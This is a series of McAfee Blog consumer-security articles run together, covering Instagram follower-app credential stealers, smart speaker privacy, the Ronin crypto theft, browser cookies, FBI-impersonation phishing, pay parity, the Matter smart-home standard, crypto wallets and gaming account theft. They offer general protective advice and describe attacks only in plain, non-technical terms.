The languages of most communication channels were English, Portuguese, and Hindi. Especially, Hindi was the most common, and most videos had more than 100 views. In the case of a famous YouTuber’s video, they have recorded more than 2,400 views. In addition, our test account had 400 followers in one day. It means that at least 400 users have sent credentials to the malware author.
As we mentioned in the opening remarks, many Instagram users want to increase their followers and likes. Unfortunately, attackers are also aware of the desires of these users and use that to attack them.
Therefore, users who want to install these apps should consider that their credentials may be leaked. In addition, there may be secondary attacks such as credential stuffing (=use of a stolen username and password pairs on another website). Aside from the above cases, there are many unanalyzed similar apps on the Internet. You shouldn’t use suspicious apps to get followers and likes.
McAfee Mobile Security detects this threat as Android/InstaStealer and protects you from this malware. For more information, visit McAfee Mobile Security
SHA256:
Domains:
The post Instagram Credentials Stealers: Free Followers or Free Likes appeared first on McAfee Blog.
So is your smart speaker really listening in on your conversations?
That’s the crux of a popular privacy topic. Namely, are we giving up some of our privacy in exchange for the convenience of a smart speaker that does our bidding with the sound of our voice? After all, you’re using it to do everything from search for music, order online, and control the lights and temperature in your home.
What is your smart speaker really hearing—and recording?
Let’s take a look at what’s going on inside of your smart speaker, how it processes your requests, and what companies do with the recordings and transcripts of your voice.
More or less, smart speakers are listening to all the time. Each smart speaker has its own “wake word” that it listens for, like Alexa, Siri, or Google. When the device hears that wake word or thinks it hears it, it begins recording and awaits your verbal commands. Unless you have the microphone or listening feature turned off, your device indeed actively listens for that wake word all the time.
Here’s where things get interesting, though. There’s a difference between “listening” and “recording.” The act of listening is passive. Your smart speaker is waiting to hear its name. That’s it. Once it does hear its name, it begins recording for a few seconds to record your command. From there, your spoken command goes into the company’s cloud for processing by way of an encrypted connection.
There are exceptions to when your command may go to the company’s cloud for processing, like Siri on iPhones, which according to Apple, “You don’t sign in with your Apple ID to use Siri, and the audio of your requests is processed entirely on your iPhone.” Also, Google Assistant may process some requests without going to the cloud, like “When a user triggers a smart home Action that has a local fulfillment path, Assistant sends the EXECUTE intent or QUERY intent to the Google Home or Google Nest device rather than the cloud fulfillment.”
In the cases where information does go to the cloud, processing entails a few things. First, it makes sure that the wake word was heard. If it’s determined that the wake word was indeed spoken (or something close enough to it—more on that in a minute), the speaker follows through on the request or command. Depending on your settings, that activity may get stored in your account history, whether as a voice recording, transcript, or both. If the wake word was not detected, processing ends at that point.
Enter the issue of mistaken wake words. While language models and processing technologies used by smart speakers are constantly evolving, there are occasions where a smart speaker acts as if a wake word was heard when it simply wasn’t said. Several studies on the topic have been published in recent years. In the case of research from Northeastern University, it was found that dialogue from popular television shows could be interpreted as wake words that trigger recording. For example, their findings cite:
“We then looked at other shows with a similarly high dialogue density (such as Gilmore Girls and The Office) and found that they also have a high number of activations, which suggests that the number of activations is at least in part related to the density of dialogue. However, we have also noticed that if we consider just the amount of dialogue (in a number of words), Narcos is the one that triggers the most activations, even if it has the lowest dialogue density.”
Of interest is not just the volume of dialogue, but the pronunciation of the dialogue:
“We investigated the actual dialogue that produced Narcos‘ activations and we have seen that it was mostly Spanish dialogue and poorly pronounced English dialogue. This suggests that, in general, words that are not pronounced clearly may lead to more unwanted activations.”
Research such as this suggests that smart speakers at the time had room for improvement when it comes to properly detect wake words, thus leading to parts of conversation being recorded without the owner intending it. If you own a smart speaker, I wouldn’t be too surprised to hear that you’ve had some issues like that from time to time yourself.
As mentioned above, the makers of smart speakers make constant improvements to their devices and services, which may include the review of commands from users to make sure they are interpreted correctly. There are typically two types of review—machine and human. As the names suggest, a machine review is a digital analysis and human reviews entail someone listening to and evaluating a recorded command or reading and evaluating a transcript of a written command.
However, several manufacturers let you exercise some control over that. In fact, you’ll find that they post a fair share of articles about this collection and review process, along with your choices for opting in or out as you wish:
The quickest way to ensure a more private experience with your smart speaker is to disable listening—or turn it off entirely. Depending on the device, you may be able to do this with the push of a button, a voice command, or some combination of the two. This will keep the device from listening for its wake word. Likewise, this makes your smart speaker unresponsive to voice commands until you enable them again. This approach works well if you decide there are certain stretches of the day where your smart speaker doesn’t need to be on call.
Yet let’s face it, the whole idea of a smart speaker is to have it on and ready to take your requests. For those stretches where you leave it on, there’s another step you can take to shore up your privacy.
In addition to making sure you’re opted out of the review process mentioned above, you can also delete your recordings associated with your voice commands.
Managing your voice history like this gives you yet one more way you can take control of your privacy. In many ways, it’s like deleting your search history from your browser. And when you consider just how much activity and how many queries your smart speaker may see over the course of days, weeks, and months, you can imagine just how much information that captures about you and your family. Some of it is undoubtedly personal. Deleting that history can help protect your privacy in the event that information ever gets breached or somehow ends up in the hands of a bad actor.
Lastly, above and beyond these privacy tips for your smart speakers, comprehensive online protection will help you look out for your privacy overall. In the case of ours, we provide a full range of privacy and device protection, along with identity theft protection that includes $1M identity theft coverage, identity monitoring, and identity restoration assistance from recovery pros—and antivirus too, of course. Together, they can make your time spent online far more secure.
You’re the smart one in this relationship
With privacy becoming an increasingly hot topic (rightfully so!), several companies have been taking steps to make the process of managing yours easier and a more prevalent part of their digital experience. As you can see, there are several ways you can take charge of how your smart speaker uses, and doesn’t use, your voice.
It used to be that many of these settings were tucked away deep in menus, rather than something companies would tout on web pages dedicated to privacy. So as far as smart speakers go, the information is out there, and I hope this article helps make the experience with yours more private and secure.
The post Smarter Homes & Gardens: Smart Speaker Privacy appeared first on McAfee Blog.
Cryptocurrency is all the rage these days and it doesn’t seem to be slowing down any time soon. As more people dive into the nitty-gritty of what blockchain is, how NFTs are traded, and the difference between Bitcoin and Ethereum, digital currency developers are finding new ways for people to engage with crypto. But as crypto continues to grow and become more profitable, hackers are simultaneously trying to find ways to get their hands on the coins.
According to Markets Insider, one of the biggest crypto heists in history took place recently, resulting in roughly $625 million stolen.1 Here’s what you need to know about this crypto theft, and how you can stay protected when investing in digital assets.
Ronin, the blockchain underlying the play-to-earn crypto game Axie Infinity, revealed that a hacker stole 173,600 Ethereum (currently worth around $600 million) and 25.2 million USDC (a cryptocurrency pegged to the U.S. dollar), resulting in a loss of about $625 million in cryptocurrency.
On March 29th, Ronin and Axie Infinity operator Sky Mavis revealed the breach and froze transactions on the Ronin bridge, which allows depositing and withdrawing funds from the company’s blockchain. This “side chain” contained nine validator nodes, or proof-of-stake tools, that confirmed and approved each transaction. At least five validator nodes are needed to approve each transaction. Sky Mavis oversaw five, and Axie Decentralized Autonomous Organization (or DAO) controlled four. However, Sky Mavis discontinued its agreement with the DAO in December but failed to revoke the DAO’s permissions. Due to this oversight, the hacker was able to take over the necessary amount of validator nodes to enable access to the cryptocurrency and make a break with it.
According to experts, the use of these side chains rather than native blockchains leads to a rise in cryptocurrency vulnerabilities. Had Sky Mavis abandoned the side chains and stuck to the blockchains, it is likely that an attack of this magnitude could have been avoided. Rather than a cryptocurrency issue, this is more of a cybersecurity issue.
If you are interested in getting into crypto, don’t let cyberattacks like this deter you! As a fairly new phenomenon, there are still many ways in which the crypto world needs to grow, adjust, and adapt to ensure that users can interact with it safely. In the meantime, if you are wanting to dive into the crypto economy but still have reservations, here are some tips to help you stay protected:
Whenever you decide to dive into something new, it’s always important to make sure you are knowledgeable about that thing, especially if it involves investing your money. Before jumping right into the crypto world, research each cryptocurrency, each blockchain, and any software you may use. Keep up with the news to stay informed on security breaches and pick up tips for which system you may want to engage in. Knowing the ins and outs of the crypto economy and its security protocols will solidify your decision of whether you want to join the crypto community and whether the benefits outweigh the risks.
As with all online accounts, it’s important to use secure, unique passwords and two-factor authentication when creating and maintaining cryptocurrency logins. Hackers can access lists of passwords and logins via the dark web, so never reuse your passwords. Two-factor authentication requires a randomly generated passcode for entry that is only accessible to you, so cybercriminals will not be able to access your accounts. If your accounts are a pain for a hacker to try to get through, they will likely move on, keeping your account, your information, and your assets safe.
For some added protection, store your assets in a crypto wallet. A crypto wallet is a software product or physical device that stores the keys to your cryptocurrency accounts. Crypto wallets allow you to transfer funds between crypto types and make transactions while keeping your investments protected. There are various types of cryptocurrency wallets, so do your research to find which one is best for you and your accounts.
Develop a routine of checking in on your crypto accounts to keep an eye on any suspicious transactions. Keep up with news outlets so that if there does happen to be a breach, you can make a timely report of any losses you may have had. For some added security and protection, consider changing your login credentials.
Hackers often use social engineering to enact cyberattacks like these. This includes targeting users’ emails or using phishing to gain access to these accounts. When receiving emails, be wary of addresses that seem slightly off, odd spelling and grammar mistakes, and any links or attachments added to the message. Being cautious and alert when you are online is an important step to ensuring your account safety.
As the world of crypto continues to evolve and more people get involved, cybercriminals are itching to take advantage. However, that is no reason to avoid getting into the crypto economy. If you decide to try your hand at digital currencies, make sure you are doing your research, staying up to date on what is happening in the crypto news, and remaining vigilant when it comes to your online safety.
The post $625 Million Stolen in Latest Crypto Attack: 5 Tips on How to Use Digital Currency Safely appeared first on McAfee Blog.
As an avid internet surfer, you’ve most likely heard of cookies. No, we’re not talking about the ones filled with chocolate chips. We’re talking about the ones that allow you to log in to your favorite websites. Cookies may impact your online security, so check out these tips to manage them and keep your online accounts safe.
Ever wonder how a website saves the items you placed in your shopping cart last week, even though you closed the tab before making the purchase? This is made possible by cookies. According to the Federal Trade Commission, a cookie is information saved by your web browser. When you visit a website, the site may place a cookie on your web browser so it can recognize your device in the future. If you return to that site later, it can read that cookie to remember you from your last visit, keeping track of your activities over time.1
Cookies come in either the first-party or third-party variety. There’s no difference between the two in how they function, but rather in where and how you encountered them. First-party cookies belong to sites you visited first-hand in your browser. Third-party cookies, or “tracking cookies,” generally come from third-party advertising websites.
Although cookies generally function the same, there are technically two different types of cookies. Magic cookies refer to packets of information that are sent and received without changes. Historically, this would be used to log in to a computer database system, such as an internal business network. This concept predates the modern cookie we use today.
HTTP cookies are a repurposed version of the magic cookie built for internet browsing and managing online experiences. HTTP cookies help web developers give you more personalized, convenient website experiences. They allow sites to remember you, your website logins, and shopping carts so you can pick back up where you left off from your last visit. However, cybercriminals can manipulate HTTP cookies to spy on your online activity and steal your personal information.
Cookie hijacking (also known as session hijacking) is typically initiated when a cybercriminal sends you a fake login page. If you click the fake link, the thief can steal the cookie and capture anything you type while on the fraudulent website. Like a phishing attack, cookie hijacking allows a cybercriminal to steal personal information like usernames, passwords, and other important data held within the cookie. If you enter your information while on the fake website, the criminal can then put that cookie in their browser and impersonate you online. They may even change your credentials, locking you out of your account.
Sometimes, criminals initiate cookie hijacking attacks without a fake link. If you’re browsing on an unsecured, public Wi-Fi connection, hackers can easily steal your data that’s traveling through the connection. This can happen even if the site is secure and your username and password are encrypted.
Because the data in cookies doesn’t change, cookies themselves aren’t harmful. They can’t infect computers with viruses or malware. But if your cookies are hijacked as part of a cyberattack, a criminal could gain access to your browsing history and use cookies as the key to enter your locked accounts. For example, a hacker may steal your identity or confidential company information, purchase items in your online shopping carts, or loot your bank account.
Preventing cookie hijacking attacks can allow you to browse the internet with greater peace of mind. Follow these tips to not only safeguard your personal information but to also enhance your browsing experience:
Make it a habit to clear your cookie cache regularly to prevent cookie overload, which could slow your search speeds. Also, almost every browser has the option to enable/disable cookies on your computer. So if you don’t want them at all, your browser’s support section can walk you through how to disable them.
Although it’s convenient to not have to re-type your credentials into a website you frequently visit, autofill features could make it easier for a criminal to extract your data with cookie hijacking. Plus, autofill is risky if your physical device falls into the wrong hands. To browse more securely without having to constantly reenter your passwords, use a password manager like McAfee True Key. True Key makes it so you only have to remember one master password, and it encrypts the rest in a vault protected by one of the most secure encryption algorithms available.
Strong, unique passwords for each of your accounts, updated regularly, offer ample protection against hackers. Multi-factor authentication (MFA) adds yet another layer of security by double-checking your identity beyond your username and password, usually with a texted or emailed code. When your accounts offer MFA, always opt in.
Criminals can hijack your cookies if you’re browsing on an unsecured, public Wi-Fi connection. To prevent a criminal from swiping your data, use a virtual private network (VPN), a service that protects your data and privacy online. A VPN creates an encrypted tunnel that makes you anonymous by masking your IP address while connecting to public Wi-Fi hotspots. This is a great way to shield your information from online spies while you’re banking, shopping, or handling any kind of sensitive information online.
McAfee LiveSafe is an antivirus solution that protects your computer and mobile devices from suspicious web cookies by:
The post What Are Browser Cookies and How Do I Manage Them? appeared first on McAfee Blog.
What’s worse than a surprise call from a law enforcement official telling you to pay a fine or be forced to serve time? Providing your personal information and paying that fine only to find out that it was all a scam. You didn’t miss jury duty; you didn’t commit a crime — you were just tricked into thinking that you did.
Sound unbelievable? It’s more likely than you’d think.
According to ZDNet1, the FBI released a warning about scammers impersonating government officials or law enforcement agencies to steal personal information and money from unsuspecting people.
After acquiring phone numbers and names from real users, scammers use fake credentials from well-known law enforcement agencies to contact victims. Under the guise of these officials, scammers claim that the user’s identity was used in a crime and ask them to provide their social security number and date of birth for verification. The fraudsters will also call or text about apparently missed jury duty, missed court dates, warrants out for arrest, or other local fines that require payment to be solved.
These criminals demand payment in multiple forms, but the most common are prepaid cards, wire transfers, and cash sent through mail or through cryptocurrency ATMs. If victims do not pay these fines or provide their personal information, the scammers in disguise will threaten them with potential prosecution or arrest.
The FBI states that no law enforcement agency will ever contact you asking for money, but if you’re still unsure whether you’re being scammed, here are a few more phishing tips that can help:
Unsolicited phone calls or texts are best avoided altogether or confirmed with a second source. Verify the caller’s identity with the organization they claim they represent. Ask for a name and position and make it clear you will be following up to verify their identity.
Do not reveal any personal or financial information over the phone, through text, or through a link provided in a text message.
Generic greetings that do not address you by name, especially when asking you to verify your identity or pay a fine, are a definite indicator that you may be being scammed.
Any strange grammar or spelling mistakes in a text message can be signs that this is someone impersonating an official agency, company, or higher-up to scam you.
Although scammers try to trick users over the phone, phishing scams can also happen over email. In addition to the tactics mentioned above, here are some extra tips on how to detect and avoid phishing emails:
Cybercriminals will often impersonate well-known brands or individuals by using fraudulent email addresses with just a few alterations of letters or characters. An example is an email address that appears as “bank0famerica.con.”
If you receive a message or email with a link, hover over the link without clicking on it. This will allow you to see a link preview. If the URL looks suspicious or doesn’t match up with the content in the email, do not interact with it and delete the entire message.
Be cautious of any attachment in an email. Scammers often use attachments as a sneaky way to deliver viruses and malware onto unsuspecting people’s devices.
Phishing scams can be deceitful, especially with the added pressure of a seemingly real (but definitely fake) government official or law enforcement agency accusing you of breaking the law. However, by following the tips outlined above, you’ll be able to spot these scams from a mile away and stay safer online!
The post What the FBI Wants You to Know About the Latest Phishing Scheme appeared first on McAfee Blog.
This month, McAfee celebrates three years of maintaining pay parity. Compensating employees equally for their contributions, regardless of gender or ethnicity, is one of the many ways we create a culture where all can belong and an environment where everyone is valued.
But equal pay sounds like a given, right?
It absolutely should be. However, unconscious bias and a slew of contributing factors, such as differences in how men and women negotiate pay raises and starting salaries, means inequality can slowly creep in across a business and become pervasive unless actively monitored. This means maintaining pay parity requires constant work and attention.
As the first cybersecurity company to achieve pay parity, we know first-hand the commitment involved in such an undertaking. We also know the overall impact for our employees, including greater trust, engagement, and loyalty. More than this, we believe simply, that pay parity is the right thing to do.
Today, I’m sharing more about our journey, our process, and our work to maintain pay parity.
How we began
Our pay parity journey began in 2018. Few companies had achieved pay parity at the time, but we realized it was an essential part of ‘walking the walk.’ It’s well documented that diverse teams perform higher, and when employees feel seen and valued for their contributions, they are more productive and increasingly innovative.
We developed a framework and conducted our first annual audit in late 2018. At the time, McAfee had experienced various changes. We had been a public company, then acquired by a $70 billion hardware company, and later sold to private equity. The result of all this change and being a newly private company creating a new identity and standing up new programs, had led to inconsistencies. The results revealed pay disparities across nine of our 45 countries. With our Board’s full support, we were unwavering in our commitment to resolve swiftly and invest in adjusting salaries immediately to ensure full pay parity in that year. Once we dissected the data, we couldn’t wait to reach parity over time, it had to be immediate. We also had full commitment to put measures in place to maintain any pay parity ‘drift’.
Our process
In its simplest form, we adhere to the following framework for achieving and maintaining pay parity:
Staying the course
Maintaining pay parity is a year-long exercise and is now part of our culture. At McAfee, we run quarterly audits and use a third-party vendor to help remove the notion of any perceived bias and subjectivity. If discrepancies are identified, we address them immediately. It’s important to note that pay parity can change daily based on new hires coming in and market changes. So, it can’t be a once-a-year review, you have to stay on top of it to ensure your organization is at parity.
We also work hard to keep pay parity front of mind for people leaders and hiring managers. Through regular training on diversity topics, we remind people leaders of the science behind unconscious bias and how to overcome it. To further remove any bias, we overlay promotions, awards, and relevant employee programs with a Diversity Impact Analysis to ensure allocation of awards is statistically aligned to the diverse population of that team or organization.
It’s the combination of these efforts that resulted in an exciting milestone: our latest independent audit revealed no disparity. This tells us our commitment to equality permeates our culture. The absence of any discrepancies did not happen by accident – it’s the result of intentional focus from our leaders, recruitment team, and hiring managers.
What the future holds
Since we began our journey three years ago, the world has experienced tremendous change and challenging times – some may feel more divided than united. This makes our commitment to pay parity and building an inclusive culture even more important.
We will continue to maintain parity, ask what we can do better, and share the best practices we continue to follow, as well as learnings along the way.
Ready to join a company that stands for equality? Search our openings at Careers.McAfee.com.
The post Three Years of Pay Parity: Lessons in Maintaining Equality appeared first on McAfee Blog.
Outfitting your smart home could get a whole lot easier this year.
A new industry standard called Matter aims to remove a big barrier in smart home technology, one that makes different smart home devices compatible with any smart home platform—something that wasn’t possible until now.
For years, different smart home devices have run on several different competing platforms, such as Amazon Alexa, Apple HomeKit, Google Assistant, or Samsung SmartThings. And put plainly, those different platforms didn’t work with each other. And that was unfortunate. After all, the vision for the smart home was to run everything from lights, appliances, doorbell cameras, and all kinds of connected things in your home from a central set of controls, regardless of device manufacturer or platform.
But that hasn’t been the case, and this lack of compatibility created some headaches for homeowners. They’ve had to choose between one smart home platform over another and then only use smart devices built for that platform. For example, if you’re running a bunch of devices on Apple HomeKit and find a great deal on a new Samsung smart refrigerator with Alexa built-in, you’re pretty much out of luck if you want those devices to all work together as one in your smart home. The result is that consumers have had to check the fine print to see what’s compatible with what when shopping for smart devices. Again, a real headache.
Matter aims to take care of that. It’s hailed as a unifying technology that will make all those devices work together. Right now, the first wave of Matter-enabled devices is on track for a mid-year launch, which means we may finally see that vision of a smart home come true—a place where all your connected stuff works together with just the sound of your voice or a tap on your phone.
With that, let’s take a closer look at the new Matter protocol and what it offers, along with a look at security and privacy for smart home devices in general.
Without getting too technical about it, Matter is designed to create a more energy-efficient, secure, and reliable network for your smart home devices. Additionally, it’s designed to run independently of your internet connection, so if your internet goes out, you can still control your smart devices locally—from the app or device of your choice.
The tech industry looks like they’re very much on board. Matter is led by the Connectivity Standards Alliance, a body of more than 200 technology companies working together to create this new standard. And if you’re wondering Amazon, Apple, Google, and Samsung are among the many members of this alliance. If the launch goes as planned, you can expect to see Matter-enabled devices and the Matter logo on several new products by the middle of the year.
Additionally, several companies have announced that they will provide an upgrade path for existing products so that their existing customers don’t have to scrap their current smart home devices to take advantage of Matter.
In all, the idea is exciting. What remains to be seen is how security and privacy matters are handled, not only by the network but by the devices on it.
As far as security goes, Matter uses a combination of encryption and blockchain technology to secure transmitted data and ensure that only the devices you trust can use the network. Considering that you may be heating your home, warming up your oven, or even locking your front door, security features like these only make sense.
Yet looking beyond Matter and thinking about connected homes more broadly, there are a few question marks when it comes to privacy.
Imagine for a moment what a highly connected home might look like—and all the data those connections will generate. That data will show what time of day your front door tends to unlock and lock when family members go to and from work, school, or what have you. It’ll also show when you tend to turn on your lights, cook your dinner, or turn on the house alarm for the night.
Over time, all this data can piece together a picture of your comings and goings during a typical week. Shy of a bad actor physically casing out your home over several days, data like this simply hasn’t existed until the age of the connected home. If that data goes unprotected or if the devices creating it don’t give you some control over it, the privacy risks will run high.
Moreover, data privacy policies come into play here as well. As consumers like us are very much aware these days, not every company treats your data the same way. Some companies have different policies around what data they may collect and then what they do with that data—like cloud sites for other smart devices, government agencies, insurance companies, law enforcement, data aggregators, data banks, social media sites, and others according to findings published by some industry groups. In a smart home that’s kitted out with devices from five, seven, or even more different manufacturers, that are multiple privacy policies in play—each of which may view and treat your private data in their own way. That’s potentially volumes of your data circulating out there, potentially in ways you aren’t aware of or that give you any control over its use.
Of course, the issue of data privacy is nothing new and certainly not specific to smart devices. Already, the dozens of different apps and services we use as we go about our day have their own data privacy policies as well. Devices in a smart home only add to that mix, which is worth considering in our already highly connected lives.
As I write this, Matter has yet to be released. Yet if you already have some smart devices in your home, you may be wondering how to make your connected home safer. Let’s take a look at a few of the things you can do to protect your smart devices and the home network they’re running on.
Many smart home devices use a smartphone as a sort of remote control, not to mention as a place for gathering, storing, and sharing data. So whether you’re an Android owner or iOS owner, protect your smartphone so you can protect the things it accesses and controls—and the data stored on it too.
Early on when the first sets of smart home devices rolled out, some found themselves open to attack because they come with a default username and password, which hackers often publish on the internet as part of massive listings. (Baby monitors are a classic example.) And it remains an issue today. When you purchase any IoT device, set a fresh password using a strong method of password creation. Likewise, create an entirely new username for additional protection as well.
Another device that needs good password protection is your internet router. Make sure you use a strong and unique password there as well to help prevent hackers from breaking into your home network. (A password manager as part of comprehensive online protection can help.) Also, consider changing the same of your home network so that it doesn’t personally identify you. (I’ve seen some fun alternatives to using your name or address, everything from movie lines like “May the Wi-Fi be with you” to old sitcom references like “Central Perk.”) Also check that your router is using an encryption method, like WPA2, which will keep your signal secure. If you haven’t done this sort of thing before, check the documentation that came with your router or with the internet provider if you rent or purchased it from them.
Online banks, shops, and other services commonly offer multi-factor authentication to help protect your accounts—with the typical combination of your username, password, and a security code sent to another device you own (often a mobile phone). If your IoT device supports multi-factor authentication, consider using it there too. It throws a big barrier in the way hackers simply try and force their way in with a password/username combination, which will make your device tougher to crack.
In addition to fixing the odd bug or adding the occasional new feature, app and device updates often address security gaps. Out-of-date apps and devices may have flaws that hackers can exploit, so regular updating is a must from a security standpoint. If you can set your smart home apps and devices to receive automatic updates, even better.
Smart homes show plenty of promise. Seeing a new and broadly adopted industry standard like Matter on the horizon may make them even more promising. Ideally, Matter will make it easier for people to bring more smart devices in their homes, and in a way that’s reliable and secure. Moreover, there are steps you can take now to help keep your smart home devices, and smart home in general, more secure as well.
Yet when it comes to thinking about a home full of smart devices, questions around privacy remain. Smart home devices offered by different manufacturers will have different privacy policies and thus use people’s data in different ways, which puts consumers like us in a position to understand the terms, conditions, and implications of each one. Yet with data privacy being such a hot topic for consumers, the industry, and regulators already, it remains to be seen what consumer-friendly standards are set for data collection in the years to come—both in and out of the smart home.
The post Smarter Homes & Gardens: Protecting the Smart Devices in Your Home appeared first on McAfee Blog.
If you’re thinking about crypto, one of the first things you’ll want to do is get yourself a good wallet.
Topping the several important things a new cryptocurrency investor needs to think about is security. Rightfully so. Cryptocurrency is indeed subject to all kinds of fraud, theft, and phishing attacks, just like the credentials and accounts we keep online.
But here’s the catch. Lost or stolen cryptocurrency is terrifically difficult to recover. By and large, it doesn’t enjoy the same protections and regulations as traditional currency and financial transactions. For example, you can always call your bank or credit card company to report theft or contest a fraudulent charge. Not the case with crypto. With that, you’ll absolutely need a safe place to secure it. Likewise, in the U.S. many banks are FDIC insured, which protects depositors if the bank fails. Again, not so with crypto.
So, when it comes to cryptocurrency, security is everything.
Cryptocurrency theft offers hackers an immediate payoff. It’s altogether different from, say, hacking the database of a Fortune 500 company. With a data breach, a hacker may round up armloads of personal data and information, yet it takes additional steps for them to translate those stolen records into money. With cryptocurrency theft, the dollars shift from the victim to the crook in milliseconds. It’s like digital pickpocketing. As you can guess, that makes cryptocurrency a big target.
And that’s where your wallet will come in, a place where you store the digital credentials associated with the cryptocurrency you own. The issue is doing it securely. Let’s take a look at the different wallets out there and then talk about how you can secure them.
Broadly, there are two general categories of wallets. First, let’s look at what these wallets store.
A wallet contains public and private “keys” that are used to conduct transactions. The public key often takes the form of an address, one that anyone can see and then use to send cryptocurrency. The private key is exactly that. Highly complex and taking many forms that range from multi-word phrases to strings of code, it’s your unique key that proves your ownership of your cryptocurrency and that allows you to spend and send crypto. Needless to say, never share your private key.
With that, there are two ways to store your keys—in a hot wallet or a cold wallet.
Hot Wallets:
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Cold Wallets:
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As you can see, the benefit of a hot wallet is that you can load it up with cryptocurrency, ready for spending. However, it’s the riskiest place to store cryptocurrency because it’s connected to the internet, making it a target for hacks and attacks.
In addition to that, a hot wallet is connected to a cryptocurrency exchange, which makes the transfer of cryptocurrencies possible. The issue with that is all cryptocurrency exchanges are not created equal, particularly when it comes to security. Some of the lesser-established exchanges may not utilize strong protocols, likely making a target for attack. Even the more established and trusted exchanges have fallen victim to attacks—where crooks have walked away with millions or even hundreds of millions of dollars.
While the funds in cold wallets are far less liquid, they’re far more secure because they’re not connected to the internet. In this way, cold wallets are more vault-like and suitable for long-term storage of larger sums of funds. But cold wallets place a great deal of responsibility on the holder. They must be stored in a physically secure place, and be backed up, because if you lose that one device or printout that contains your cryptocurrency info, you lose the cryptocurrency altogether. Within the cold wallet category, there are a few different types:
Several manufacturers make storage devices specifically designed to store cryptocurrency, complete with specific features for security, durability, and compatibility with many (yet not always all) of the different cryptocurrencies on the market. An online search will turn up several options, so doing your homework here will be very important—such as which devices have the best track record for security, which devices are the most reliable overall, and which ones are compatible with the crypto you wish to keep.
Storing cryptocurrency information on a computer or laptop that’s disconnected from the internet (also known as “air-gapped”) is a storage method that’s been in place for some time. However, because computers and laptops are complex devices, they may be less secure than a simpler, purpose-built cryptocurrency device. In short, there are more ways to compromise a computer or laptop with malware that a determined hacker can use to steal information in some rather surprising ways. (Like noise from a compromised computer fan passing information in a sort of Morse Code or generating electromagnetic signals on a compromised computer that nearby devices can use to skim information.)
Ah, good old paper. Write down a code and keep it secure. Simple, right? In truth, creating a paper wallet can be one of the most involved methods of all the cold storage options out there. Bitcoin offers a step-by-step walkthrough of the process that you can see for yourself. Once done, though, you’ll have a piece of paper with a public address for loading cryptocurrency into your paper cold wallet, along with a private key. One note: Bitcoin and others recommend never reusing a paper cold wallet once it’s connected to a hot wallet. You should go through the process of creating a new cold paper wallet each time.
Physical coins are a special case and are relatively new on the scene. They’re a physical coin minted with a tamper-resistant sticker that indicates the actual value of the coin. Like other methods of cold wallet storage, this calls for keeping it in a safe place, because it’s pretty much like a wad of cash. And like cash, if it’s stolen, it’s gone for good. Also note that a cryptocurrency holder must work with a third party to mint and deliver the coin, which has its own costs and risks involved.
With that look at wallets, let’s see what it takes to secure them. It may seem like there’s plenty to do here. That’s because there is, which goes to show just how much responsibility falls on the shoulders of the cryptocurrency holder. Of course, this is your money we’re talking about, so let’s dive into the details.
Whatever form your storage takes, back it up. And back it up again. Cryptocurrency holders should make multiple copies just in case one is lost, destroyed, or otherwise inaccessible. For example, one story that’s made the rounds is of a IT engineer in the UK who accidentally threw away an old hard drive with his cryptocurrency key on it, one that held 7,500 bitcoins, worth millions of dollars. Redundancy is key. Back up the entire wallet right away and then often after that.
With redundant backups in place, store them in places that are physically secure. It’s not uncommon for crypto holders to use fireproof safes and safe deposit boxes at banks for this purpose, which only highlights the earlier point that a wallet is as good as cash in many ways.
This will help prevent malware from stealing crypto, whether or not your device is connected to the internet. Comprehensive online protection software will give you plenty of other benefits as well, including identity theft monitoring and strong password management, two things that can help you protect your investments, and yourself, even further.
Updates often address security issues, ones that hackers will of course try to exploit. Keep everything current and set automatic updates wherever they are available so that you have the latest and greatest.
Just as your bank and other financial accounts offer MFA, do the same here with your crypto. Some extra security-conscious crypto investors will purchase a device for this specific purpose for yet greater protection, such as a separate phone with texting capability. This keeps their crypto transactions separate from the multitude of other things they do on their everyday smartphone, effectively putting up a wall between these two different digital worlds.
Two things fall under this category. One, the less you say about the crypto investments you make, the less word gets around, which can help keep hackers out of the loop. Particularly on social media! Two, consider setting up a unique email account that you only use for crypto. The less you associate your crypto accounts with other financial accounts like your banking and online payment apps, the more difficult it is to compromise several accounts in one fell swoop.
Just like hackers send phishing emails with an eye on accessing your bank accounts, credit cards, and so on, they’ll do much the same to get at your crypto accounts. The target may be different, that being your crypto, but the attack is very much the same. An email will direct you to a hacker’s website, using some sort of phony pretense, get-rich-quick-scheme, or scare tactic. Once there, they’ll ask for private key information and then simply steal the funds. And it’s not just email. Hackers have used online ads to phish for victims as well.
As you can see, these security measures rely almost exclusively on you. If something happens to you, that could make recovering your funds a real problem. Consider reaching out to someone you trust and let them know where you’re storing your wallets and information. That way, you’ll have some assistance ready in the event of an emergency or issue.
The very things that define cryptocurrency—the anonymity of ownership, the lack of banking institutions, the light or non-existent regulation—all have major security implications. Add in the fact that you’re your own safety net here and it’s easy to see that crypto is something that requires plenty of planning and careful through before diving into. Getting knowledgeable about security, how you’ll protect your crypto, should absolutely top your list before investing.
The post Cold Wallets, Hot Wallets: The Basics of Storing Your Crypto Securely appeared first on McAfee Blog.
As a gamer, you love the stuff you’ve racked up over the years—that rare Fortnite skin from six seasons ago, a complete set of Tier 20 armor in World of Warcraft, or a Steam account loaded with your favorite titles. Hackers love it too. Because they can make money off it.
Hackers have been stealing and reselling online gaming accounts for some time now. Yet the recent 400 percent rise in online gaming theft shouldn’t come as a surprise, particularly as so many of us turned to games for entertainment lately. As people leveled up, gathered loot, and filled their libraries with games in the cloud, hackers saw the opportunity.
The opportunity is this: gaming accounts have a street value. The virtual items and perks we acquire through gaming take time, effort, participation, and sometimes just good luck to build up. In a way, we’ve worked hard to earn our fun. Meanwhile, others out there are willing to take a shortcut. There are those who’ll pay for a well-stocked gaming account that someone else has built up, and hackers are more than willing to hijack accounts from innocent victims and sell them online.
Put simply, the virtual goods in your gaming accounts are like any other good. They have value. And just like anything else you value, they’re worth protecting. That’s exactly what we’ll help you do here.
First up, let’s take a quick look at the different ways digital goods get moved and sold out there—just to get a sense of the marketplaces that have cropped up around gaming and where hackers fit into the mix.
And there are several. Over the years we’ve seen all kinds of gaming marketplaces crop up, whether they’re sanctioned marketplaces built inside of online games, gray marketplaces that exist outside of games, and dark marketplaces where stolen accounts and goods are exchanged.
As a gamer, you’re likely familiar with any number of sanctioned auction houses and marketplaces that are built right into online games, all designed and supported by the game’s developers. A classic example is the long-running auction house in World of Warcraft where players can buy and sell items with in-game currency, the World of Warcraft gold piece. And as marketplaces can go, the rarer and more coveted the item, the higher the price the seller can get for it. In fact, there are plenty of articles on how to play the markets for profit, in a quasi-stock market-like fashion, and all within the legitimate boundaries of the game.
